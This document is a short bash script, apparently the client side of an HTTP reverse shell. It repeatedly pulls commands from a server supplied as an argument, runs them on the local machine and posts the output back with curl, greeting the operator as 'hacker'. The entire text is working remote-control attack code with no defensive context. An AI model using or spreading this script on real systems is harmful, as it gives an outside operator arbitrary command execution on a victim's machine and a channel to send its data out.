#!/usr/bin/env bash SERVER="$1" TIMEOUT="$2" TIMEOUT=${TIMEOUT:-600} if [ -z "$SERVER" ]; then echo -e "\e[31m[!] Usage: bash client.sh [HOST] [Optional curl timeout]\e[0m\n" exit 0 fi curl --silent --max-time $TIMEOUT -X POST --data 'Hello, hacker!' $SERVER if [ $? -ne 0 ]; then exit -1; fi while true; do command=$(curl --silent --max-time $TIMEOUT $SERVER) if [ $? -ne 0 ]; then exit -1; fi if [ "$command" = "exit" ]; then curl --silent --max-time 5 -X POST --data 'Goodbye, hacker!' $SERVER exit 0 fi responce=$($command 2>&1) curl --silent --max-time $TIMEOUT -X POST --data "$responce" $SERVER if [ $? -ne 0 ]; then curl --silent --max-time 5 -X POST --data 'Timeout, goodbye, hacker!' $SERVER exit -1 fi done